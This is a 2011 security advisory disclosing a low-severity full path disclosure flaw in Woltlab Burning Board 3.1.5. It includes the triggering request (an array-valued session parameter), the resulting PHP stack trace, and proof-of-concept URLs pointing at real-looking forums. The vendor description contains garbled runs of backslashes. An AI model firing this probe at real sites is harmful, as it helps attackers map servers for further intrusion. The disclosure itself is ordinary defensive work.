Woltlab Burning Board 3.1.5 - Full Path Disclosure [2nd Party]

Document Title:
===============
Woltlab Burning Board 3.1.5 - Full Path Disclosure [2nd Party]


References (Source):
====================
http://www.exploit-db.com/exploits/17413/


Release Date:
=============
2011-06-18


Vulnerability Laboratory ID (VL-ID):
====================================
205


Product & Service Introduction:
===============================
You are tired of static content in a dynamic world and would like to reach out to your users? Create a platform 
for a sincere exchange of thoughts or even a whole community? We are glad to provide you our solution for this 
and all other kind of problems: Burning Board, our modern discussion platform software. Take a look at our references
and let our customers convince you of our flexible software. Nevertheless we are constantly improving our software 
to fit your needs and if you miss some handy features, feel free to contact us. Our latest version includes over 100 
customer-suggested features.

Modern and standards-compilant
We have created the latest version of our software Burning Board completely from scratch and mixed in the state-of-the-art 
technology and a contemporary design. Our board software outranks any user expectations with it\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'s surpassing usability! 
The user interface provides all modern conveniences and is still clearly structured, guaranteeing a long-term positive 
experience for your users. We focused our development on modern web standards and created flexible layouts using both XHTML 
and CSS.

Awesome functionality
Our product includes contemporary multilingualism, easy to manage add-ons and a built-in search engine optimization out of 
the box. Think ahead and take a deep look at our software\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'s functionality.

(Copy of the Vendor Homepage: http://www.woltlab.com/wbb/)


Abstract Advisory Information:
==============================
linc0ln.dll detected a Full Path Disclosure Vulnerability on the new Woltlab Burning Board v3.5.x


Vulnerability Disclosure Timeline:
==================================
2011-06-18:	Vendor Notification
2011-06-19:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A Full path Disclosure Vulnerability is detected on the new Woltlab Burning Board v3.1.5 application.
The Bug allows an attacker to see the full path of the complete server web folder.

Vulnerable Module(s):
							[+] index - ?s[]=FPD
							
--- Exception Logs ---
Fatal error: PHP warning in file /var/www/woltlab/www/forum/wcf/lib/system/database/MySQLDatabase.class.php (231): 
mysql_real_escape_string() expects parameter 1 to be string, array given

Information:

error message: PHP warning in file /var/www/woltlab/www/forum/wcf/lib/system/database/MySQLDatabase.class.php (231): 
mysql_real_escape_string() expects parameter 1 to be string, array given
error code: 0
file: /var/www/woltlab/www/forum/wcf/lib/system/WCF.class.php (281)
php version: 5.3.3-7+squeeze1
wcf version: 1.1.7 (Tempest)
date: Mon, 20 Jun 2011 06:31:20 +0000
request: /index.php?s[]=FPD
referer:
Stacktrace:

#0 [internal function]: WCF::handleError(2, mysql_real_esca..., /var/www/woltla..., 231, Array)
#1 /var/www/woltlab/www/forum/wcf/lib/system/database/MySQLDatabase.class.php(231): mysql_real_escape_string(Array, Resource id #36)
#2 /var/www/woltlab/www/forum/wcf/lib/core.functions.php(19): MySQLDatabase->escapeString(Array)
#3 /var/www/woltlab/www/forum/wcf/lib/system/session/Session.class.php(101): escapeString(Array)
#4 /var/www/woltlab/www/forum/wcf/lib/system/session/SessionFactory.class.php(98): Session->__construct(Array)
#5 /var/www/woltlab/www/forum/wcf/lib/system/session/SessionFactory.class.php(68): SessionFactory->getExistingSession(Array)
#6 /var/www/woltlab/www/cms/lib/system/WCMSCore.class.php(75): SessionFactory->get()
#7 /var/www/woltlab/www/cms/lib/system/WCMSCore.class.php(33): WCMSCore->initSession()
#8 /var/www/woltlab/www/cms/global.php(18): WCMSCore->__construct()
#9 /var/www/woltlab/www/index.php(7): require_once(/var/www/woltla...)
#10 {main}	

	
Pictures:
							[+] poc.png


Proof of Concept (PoC):
=======================
For demonstration or reproduce ...

PoC:
http://[server]/[index][PHP]?[P][]=[C]	
							
References:
http://www.woltlab.com/index.php?s[]=FPD
http://board.metin2.pl/index.php?s[]=FPD


Security Risk:
==============
The security risk of the full path disclosure error is estimated as low.


Credits & Authors:
==================
 linc0ln.dll


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=========================
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